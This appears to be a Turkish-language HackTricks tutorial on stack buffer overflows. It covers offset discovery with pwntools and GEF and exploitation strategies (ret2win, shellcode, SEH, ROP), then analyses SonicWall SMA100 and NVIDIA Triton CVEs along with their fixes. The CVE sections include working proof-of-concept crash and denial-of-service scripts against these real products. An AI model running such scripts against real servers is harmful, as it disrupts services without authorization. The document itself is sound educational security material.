Stack Overflow

Reading time: 9 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Stack Overflow Nedir

Bir stack overflow, bir programın stack'e tutulan miktardan daha fazla veri yazdığında ortaya çıkan bir zayıflıktır. Bu fazla veri, bitişik bellek alanını üzerine yazarak geçerli verilerin bozulmasına, kontrol akışının bozulmasına ve potansiyel olarak kötü amaçlı kodun çalıştırılmasına yol açabilir. Bu sorun genellikle girdiler üzerinde bounds checking yapmayan güvensiz fonksiyonların kullanılmasından kaynaklanır.

Bu overwrite işleminin asıl problemi, saved instruction pointer (EIP/RIP) ve önceki fonksiyona dönmek için saklanan saved base pointer (EBP/RBP) değerlerinin stack üzerinde saklanıyor olmasıdır. Bu nedenle, bir saldırgan bu değerleri overwrite ederek programın yürütme akışını kontrol edebilir.

Zafiyet genellikle bir fonksiyonun stack içinde kendisine ayrılan miktardan daha fazla byte kopyalaması nedeniyle ortaya çıkar; bu sayede stack'in diğer bölümlerini overwrite edebilir.

Bu duruma sıkça yatkın olan fonksiyonlardan bazıları: strcpy, strcat, sprintf, gets... Ayrıca fgets, read ve memcpy gibi bir length argument alan fonksiyonlar, belirtilen uzunluk ayrılandan büyükse yanlış kullanıldığında savunmasız olabilir.

Örneğin, aşağıdaki fonksiyonlar savunmasız olabilir:

c
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Stack Overflows offset'lerini Bulma

Stack Overflows bulmanın en yaygın yolu, çok büyük bir A girdisi vermektir (ör. python3 -c 'print("A"*1000)') ve Segmentation Fault beklemektir; bu, adres 0x41414141'e erişilmeye çalışıldığını gösterir.

Ayrıca, bir Stack Overflow zafiyeti bulduktan sonra overwrite the return address'in mümkün olduğu offset'i bulmanız gerekir; bunun için genellikle bir De Bruijn sequence kullanılır. Verilen k boyutunda bir alfabet ve uzunluğu n olan alt diziler için, bu, her olası uzunluk n alt dizisinin tam olarak bir kez ardışık bir alt dizi olarak göründüğü bir cyclic sequence'dir.

Böylece, EIP'i elle kontrol etmek için hangi offset gerektiğini bulmak yerine, padding olarak bu dizilerden birini kullanmak ve sonra onu overwrite etmeye başlayan byte'ların offset'ini bulmak mümkün olur.

Bunun için pwntools kullanmak mümkündür:

python
from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

veya GEF:

bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Stack Overflows'ı İstismar Etme

Bir overflow sırasında (taşma boyutu yeterince büyükse) stack içindeki yerel değişkenlerin değerlerini kaydedilmiş EBP/RBP and EIP/RIP (or even more)'a ulaşana kadar overwrite edebileceksiniz.
Bu tür bir zafiyeti suistimal etmenin en yaygın yolu, modifying the return address yapmaktır; böylece fonksiyon sona erdiğinde control flow will be redirected wherever the user specified bu pointer içinde gösterilen yere yönlendirilir.

Ancak, bazı senaryolarda sadece stack içindeki bazı değişkenlerin değerlerini overwriting yapmak istismarı gerçekleştirmek için yeterli olabilir (ör. kolay CTF challenge'larında).

Ret2win

Bu tür CTF challenge'larında, binary içinde hiç çağrılmayan ve kazanmak için çağırmanız gereken bir function bulunur. Bu challenge'ler için yapmanız gereken tek şey offset to overwrite the return address'i bulmak ve çağrılacak function'ın adresini tespit etmektir (genellikle ASLR devre dışı bırakılmış olur) böylece zafiyetli function döndüğünde gizli function çağrılır:

Ret2win

Stack Shellcode

Bu senaryoda saldırgan shellcode'u stack'e yerleştirebilir ve kontrol edilen EIP/RIP'i shellcode'a atlamak ve arbitrary code çalıştırmak için kullanabilir:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

32-bit Windows'ta, bir overflow kaydedilmiş return address yerine Structured Exception Handler (SEH) zincirini overwrite edebilir. İstismar genellikle SEH işaretçisini bir POP POP RET gadget ile değiştirir ve 4 baytlık nSEH alanını shellcode'un bulunduğu büyük buffer'a geri pivotlamak için kısa bir atlama yapmak üzere kullanır. Yaygın bir desen, nSEH içinde kısa bir jmp olup bunun nSEH'den hemen önce yerleştirilen 5 baytlık near jmp üzerine düşmesi ve payload başlangıcına yüzlerce byte geri atlamasıdır.

Windows Seh Overflow

ROP & Ret2... techniques

Bu teknik, önceki tekniğin ana korumasını atlatmak için temel çerçeveyi sağlar: No executable stack (NX). Ayrıca ret2lib, ret2syscall gibi ve mevcut binary içindeki talimatları suistimal ederek arbitrary komutlar çalıştırmayı sağlayan birçok başka tekniği gerçekleştirmeye imkan verir:

ROP - Return Oriented Programing

Heap Overflows

Bir overflow her zaman stack'te olmak zorunda değildir, örneğin heap içinde de olabilir:

Heap Overflow

Koruma Türleri

Zafiyetlerin istismarını engellemeye çalışan çeşitli korumalar vardır, bunları şu dizinde inceleyin:

Common Binary Exploitation Protections & Bypasses

Gerçek Dünya Örneği: CVE-2025-40596 (SonicWall SMA100)

sscanf'ın untrusted input'u parse etmek için asla güvenilmemesi gerektiğini gösteren iyi bir örnek 2025'te SonicWall’ın SMA100 SSL-VPN cihazında ortaya çıktı. /usr/src/EasyAccess/bin/httpd içindeki zafiyetli rutin, /__api__/ ile başlayan herhangi bir URI'den version ve endpoint'i çıkarmaya çalışıyordu:

c
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. İlk dönüşüm (%2s) güvenli bir şekilde version içine iki bayt depolar (ör. "v1").
  2. İkinci dönüşüm (%s) uzunluk belirticisine sahip değil, bu nedenle sscanf ilk NUL byte'a kadar kopyalamaya devam eder.
  3. Çünkü endpoint stack üzerinde bulunur ve 0x800 bayt uzunluğundadır, 0x800 bayttan daha uzun bir path sağlamak buffer'dan sonra yer alan her şeyi bozar ‑ bunların arasında stack canary ve saved return address de vardır.

Tek satırlık bir proof-of-concept, çöküşü kimlik doğrulamadan önce tetiklemek için yeterlidir:

python
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Stack canaries işlemi sonlandırsa da, saldırgan yine de bir Denial-of-Service primitive elde eder (ve ek bilgi leaks olması durumunda, muhtemelen code-execution). Ders basit:

  • Her zaman bir azami alan genişliği belirtin (örn. %511s).
  • snprintf/strncpy_s gibi daha güvenli alternatifleri tercih edin.

Gerçek Dünya Örneği: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA’s Triton Inference Server (≤ v25.06), HTTP API'si aracılığıyla erişilebilen birden çok stack-based overflow içeriyordu. Zafiyetli desen http_server.cc ve sagemaker_server.cc içinde tekrar tekrar ortaya çıkıyordu:

c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) şu anki HTTP isteğinin gövdesini oluşturan iç tampon segmentlerinin sayısını döndürür.
  2. Her segment, alloca() aracılığıyla stack üzerinde 16-byte evbuffer_iovec tahsis edilmesine neden olur – herhangi bir üst sınır olmadan.
  3. HTTP chunked transfer-encoding'i suistimal ederek, bir istemci isteğin 6-byte'lık parçacıklara yüzbinlerce bölünmesini zorlayabilir ("1\r\nA\r\n"). Bu, n'in stack tükenene kadar kontrolsüz şekilde büyümesine neden olur.

Kavram Kanıtı (DoS)

python
#!/usr/bin/env python3
import socket, sys

def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())

for _ in range(chunks):                  # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n")            # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n")               # end of chunks
s.close()

if __name__ == "__main__":
exploit(*sys.argv[1:])

Yaklaşık ~3 MB'lık bir istek, kaydedilmiş dönüş adresini ezmek ve varsayılan derlemede daemon'ı crash etmek için yeterlidir.

Düzeltme ve Hafifletme

25.07 sürümü unsafe stack allocation'ı heap-backed std::vector ile değiştirir ve std::bad_alloc'ı düzgün şekilde ele alır:

c++
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();

Öğrenilen dersler:

  • Saldırgan kontrolündeki boyutlarla asla alloca()'yı çağırmayın.
  • Chunked requests, sunucu tarafı buffer'ların şeklini ciddi şekilde değiştirebilir.
  • Bellek tahsislerinde kullanmadan önce, istemci girdisinden türetilen herhangi bir değeri doğrulayın/sınırlandırın.

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin